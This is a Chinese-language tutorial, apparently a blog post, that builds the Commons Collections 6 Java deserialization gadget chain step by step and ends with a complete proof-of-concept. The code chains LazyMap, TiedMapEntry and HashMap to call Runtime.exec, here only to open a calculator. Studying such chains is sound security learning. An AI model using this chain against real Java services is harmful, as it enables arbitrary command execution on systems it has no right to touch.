'Java反序列化-cc6'

cc6的攻击链后面部分(尾部exec方法)也和之前cc1的一样。
特点: CC6 链,可以不受 jdk 版本制约。

LayzMap的get()–>this.factory.transformer()–>ChainedTransformer.transform()–>InvokerTransformer.transform()–>runtime.exec

这段攻击链代码不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

找之前的链子

根据 ysoSerial 官方的链子,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。

1
2
3
4
5
    public Object getValue() {
return map.get(key);
}

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable

并且他还继承了Serializable方法,可被序列化,而且还是public方法。(我们就不需要反射获取它的方法,可以直接调用并修改。)

因此我们可以直接看源码构造部分攻击链。

1
2
3
4
5
6
7
8
9
   public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

new一个TiedMapEntry输入map和key参数,最后调用getValue。使之执行LayzMap的get尾部exec方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "get");
TiedMapget.getValue();

现在我们确保了 TiedMapEntry 这一段链子的可用性,往上去找谁调用了 TiedMapEntry 中的 getValue() 方法。

因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。

TiedMapEntry hashCode方法

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

看到hashcode,所以我们想到之前URLDNS链的hashcode。
HashMap.put() --> putvul --> hash -->URL hashCode。
HashMap.put() --> putvul --> hash -->TideMapEntry hashCode。

1
2
HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"value");

解决在序列化的时候就弹出计算器的问题

但是老问题(之前URLDNS遇到过)又来了,序列化的时候就被调用。所以我们要处理一下这部分。

参考 URLDNS 链中的思想,先在执行 put() 方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。

代码中的话,其实就是一层套一层,我们改哪个都行。
这里的话我们改的是LazyMap.decorate,让他不调用Transformer。

1
2
3
4
5
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected final Transformer factory;

protected方法,所以需要反射进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "get");

HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"value");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, chainedTransformer);

这时,在序列化过程中就不会调用。然后尝试反序列化,依旧没调用。
调试:

因为在序列化时,key "aaa"被占用,所以反序列化时调用的是aaa,而不是chainedTransformer。
解决方法:
移除掉参数aaa

最终的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");

HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"bbbb");
LazydecorateMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, chainedTransformer);

最终流程图如下: